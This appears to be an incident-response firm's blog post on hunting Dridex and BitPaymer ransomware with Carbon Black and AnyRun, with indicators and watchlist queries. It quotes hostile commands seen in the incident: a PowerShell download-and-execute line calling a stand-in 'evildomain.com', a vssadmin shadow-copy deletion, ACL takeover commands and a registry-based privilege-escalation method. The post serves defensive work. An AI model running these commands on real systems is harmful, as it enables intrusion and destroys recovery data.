Ransomware is still one of the most common incidents Tevora’s Digital Forensics and Incident Response responds to. There are many ways to hunt for threats and resources for a responder to utilize. Tevora's process in an Incident Response engagement will generally involve both active threat hunting and malware analysis. Our incident response team leverages Carbon Black for threat hunting and AnyRun for malware analysis. Since variants of Dridex are still common and relevant at the time of the post, this post will outline how our team hunts for this malware on an enterprise network.
Think Offensively
Most attacks and compromises of Dridex originate through persistent phishing campaigns. It is very likely that an attacker will send out mass emails containing malicious links or binaries. Attackers also hunt for low hanging fruit such as credential re-use, default passwords, and critical vulnerabilities that haven’t been patched (MS-017) for pivoting.
Adversaries tend to leverage post exploitation frameworks and tools such as Mimikatz, Cobalt Strike, Powershell Empire, and Responder. These tools allow an adversary to replay hashes, maintain persistence, and incorporate other techniques for stealth.
A commonly abused technique used in these post exploitation frameworks is DLL hijacking and thread injection which aids stealth operations. Here are some examples of how cross process injection is commonly manipulated for an attacker for evasion and persistence.
Before jumping into an engagement and developing a strategy, there are a few questions that we will consider to determine the context of the incident.
- Are there any critical vulnerabilities that can be exploited with low effort?
- Have passwords been changed since the compromise?
- Have malicious C2 IPs or suspicious IPs been identified?
- Is the attacker actively exfiltration data to their domains?
- Does the attacker have persistence via rootkits or any additional accounts?
Malware Analysis
Malware analysis helps with identifying indicators of compromise that points to suspicious processes, file modifications, registry modifications, and other suspicious activities. By understanding how the malware spreads, it allows a threat hunter to better identify specific behaviors in the threat hunting phase.
On this engagement, we were able to acquire samples of the executable that were dropped and loaded. From there, we leveraged AnyRun to analyze the malware behavior. Analysis of malware behavior is extremely helpful for the identification of the malware. Before the analysis, we were notified that a number of hosts and backup servers were encrypted with a decryption note that contained blockchain addresses. This was then confirmed with AnyRun from a binary that was dropped by the ransomware.
By analyzing the malware sample, we initially identified the malware to be Dridex through certain malware behaviors and dropped binaries.
- Modifies Certain Registry Keys
- Service Hijacking
- Shadow Copy Deletion
- File Encryption
- Ransom Note
Our malicious sample was creating files in the user directory and also starting itself from other directories. (It’s very common for malware to run from Writable Directories, and User Directories such as C:\Users\AppData\Roaming or C:\Windows\Temp) since the binaries don’t need administrative privileges to write and execute. From there, the malware was injecting into processes and attempting to escalate privileges.
Our IR team will make a hypothesis about how an attacker gained initial foothold and additional actions taken on the environment to help identify a process for threat hunting. In this instance, it is likely that Dridex was utilizing CVE-2017-11826 for the initial compromise. Based on our own red team engagements, we were able to identify the prescence of Cobalt Strike being used for lateral movement and persistence. In this instance, Cobalt Strike was staging the Dridex loader and using Mimikatz to dump plaintext Domain Admin credentials. See our post here to see how Mimikatz is used in a pass the hash attack in Cobalt Strike. The Dridex loader was then found to be installed on the Domain Controller through Cobalt Strike. Cobalt Strike would then be used to download the ransomware which was likely BitPaymer or a variant of BitPaymer and GPO was then used to deploy the script that installed the ransomware and encrypted critical systems.
In our case, we saw a number of cross process injections in Carbon Black sprayed into common processes such as:
- svchost.exe
- w3wp.exe
- msdtc.exe
- mpcmdrun.exe
- wmiprvse.exe
- spoolsv.exe
- lsass.exe
- csrss.exe
Newer variants Dridex often uses a technique of process injection called Atom Bombing. More about it here.
The actual ransomware would then use the registry for persistence. It would copy itself to the %USER%\AppData\LocalLow or %USER%\AppData\Local and add new registry values to HKCU\Software\Microsoft\Windows\CurrentVersion\Run. This action was then identified in Carbon Black and we cross referenced it with AnyRun to verify the finding.
The ransomware would also try to elevate privileges with eventvwr.msc if it was not running with the privileges it needed.
When the ransomware is initially executed, it will perform a check to verify if it is being executed from an alternate data stream. More about alternate data streams here.
The ransomware can create an alternative data stream where it then creates a file in the %appdata% folder with a random file name with random alphanumeric characters. The malware will then copy itself to this alternate stream :bin of the file and creates a process from this alternate stream. From here, the malware will then check its privileges and attempt to escalate privileges. BitPaymer will attempt to elevate privileges with this method.
This was identified with the AnyRun tool which showed that the ransomware dropped a malicious binary that would overwrite keys in HKEY_CLASSES_ROOT\MSCFile\shell\open\command as a privilege escalation attack. Following this, we would observe this in the AnyRun analysis of our sample with evilfile:bin which then started CMD.exe for command execution.
"C:\Windows\system32\cmd.exe" /c C:\Users\admin\AppData\Local\Temp\62id.cmd
The ransomware actions will include:
- Use ICACLS.exe to modify the access control list
Takeown.exe /F C:\Windows\System32\snmptrap.exe
Icacls.exe C:\Windows\System32\snmptrap.exe /reset - Start net.exe for network exploration
Arp.exe -a
Nslookup.exe - Copying files into an alternate data stream for future restoration
- Modified time of created of ransomware executable is 00:00:00 UTC
- Delete all shadow copies to prevent restoration of files
vssadmin.exe Delete Shadows /All/Quiet
We can see a behavior graph provided by AnyRun here:
Threat Hunting
Tevora’s strategy is based on the Incident Response Lifecycle and we primarily focus on the Containment, Eradication, and Recovery when threat hunting. For this particular post, we will focus mainly on the Containment and Eradication steps which is the active threat hunting portion. We prioritized deploying Carbon Black sensors to systems with critical impact so we can minimize the risk of further damage or mitigate the damage by containing those systems first. For example, Domain Controllers and production servers that may contain sensitive customer data would be prioritized. Once we are dropped into the compromised environment, we can start threat hunting with either the information we have collected from the malware analysis or with a hypothesized attack path of the adversary.
After identifying that the malware has similarities of Dridex with our samples, the next step is to determine how the threat was introduced into the environment. Dridex is known to abuse Microsoft Office vulnerabilities and is often associated with clicking on malicious Adobe or Microsoft Office attachments sent via email.
Process Searching
If there is not an opportunity for malware analysis before the initial threat hunting, one can still leverage CarbonBlack to find suspicious binaries by searching for unsigned binaries first. Through this method, we were able to identify a powershell script being used to download a malicious binary onto systems through threat hunting on CarbonBlack. These actions were found on the Domain Controllers of the environment.
powershell.exe -nop -w hidden -c “IEX((new-object net.webclient).downloadstring(‘http://evildomain.com:80/evilbinary’))”
We can use this information to block the malicious domain via the firewall and create watchlist on Carbon Black to send alerts if any file calls out to this domain.
Create a watchlist with this query: cb.urlver=1&q=ipaddr:127.0.evil in Carbon Black Response.
Process Searching with Malware Analysis
The information gathered from the Malware Analysis phase will contribute to the overall threat hunting process. Since we know that Dridex utilizes a Microsoft CVE, it makes sense to look at Microsoft services in our endpoint agent. By querying process_name:winword.exe in Carbon Black, we can see all the hosts that are running ‘winword.exe’. Acting on the premise that the malware identified is Dridex, our team then follows the threat by looking at binary creation, parent processes, registry modifications, and network connections in Carbon Black.
We can preview the process by selecting any result and view the command line argument. For example, in our case we saw the command line in one of the affected hosts as
“C:\Program Files\Microsoft Office\Office 16\WINWORD.exe /n “C:\Users\admin\AppData\Local\Temp\evildir_RaNd0M_chAr.tmp/evilfile_733100.docm”
which points to a macro.
Analysis of the process tree in Carbon Black will show parent parent processes of the child processes. When we look at where the directory the parent process that handled the Word Document, we see that it came from C:\Users\admin\Downloads\attachments\evilfile_733100.pdf, so it would appear that we can confirm our hypothesis that the malicious file was first downloaded via email.
If we scroll down to the Event Timeline of the process, we see the filemod where our file with our macro document. We can also see the net connections with Carbon Black and we see a connection established to some domain. With Carbon Black, we can see not only the connections being made, but also the hosts calling out to the IP.
We can investigate further from here to observe if there is evidence of lateral movement or if there was a successful instance of malicious binary actions such as downloading additional binaries or file modifications.
We can query the domain with domain:evildomain.com to see other hosts that are calling out to this domain. From here we can select a process and see if there are filemods, registry mods, etc.
We can also look for binary creation (as we know Dridex does from our malware analysis). We can also query for the process with binary creation in Carbon Black with process_name:winword.exe AND md5:* to look for hosts and other processes.
From our binary analysis, we were able to find the Domain Controllers being affected with the files we pulled in from AnyRun. In our case, we find a binary that was unsigned after analyzing a Winword.exe that VirusTotal has deemed malicious. At this point, we’ve found not only the malicious binary, but how the process creation looks like in CarbonBlack. From here, we can create a watchlist and start triaging the threat to see if there are other actions we can take to find other Indicators of Compromise. We can start banning hashes to stop these binaries from executing additional processes or callouts.
In the instance that a threat hunter doesn’t have a lot of visibility into the attack, there are also other artifacts a threat hunter could look at that might be helpful for starting their engagement.
- WMI, CMD, Powershell commands that establish network connections.
- Office Documents that invokes Children processes
- Java that spawns commands shells
- Addition of new accounts
Specific to Carbon Black, here are some watchlists that could be used for Dridex
process_name:affectedprocess.exe AND md5:*
path:C:\Users\*\AppData\Local\Temp\* AND -digsig_result:"Signed”
process_name:affectedprocess.exe AND childproc_name:spawnedexecutable.exe -digsig_result:"Signed" AND childproc_name:essentialservice.exe (such as svchost.exe, lsass.exe)
process_name:svchost.exe AND -parent_name:services.exe
parent_name:winword.exe AND filemod:evil.dll
Further Reading & References
Detecting Cross Process Injection with Windows Defender
Uncovering Cross Process Injection with ATP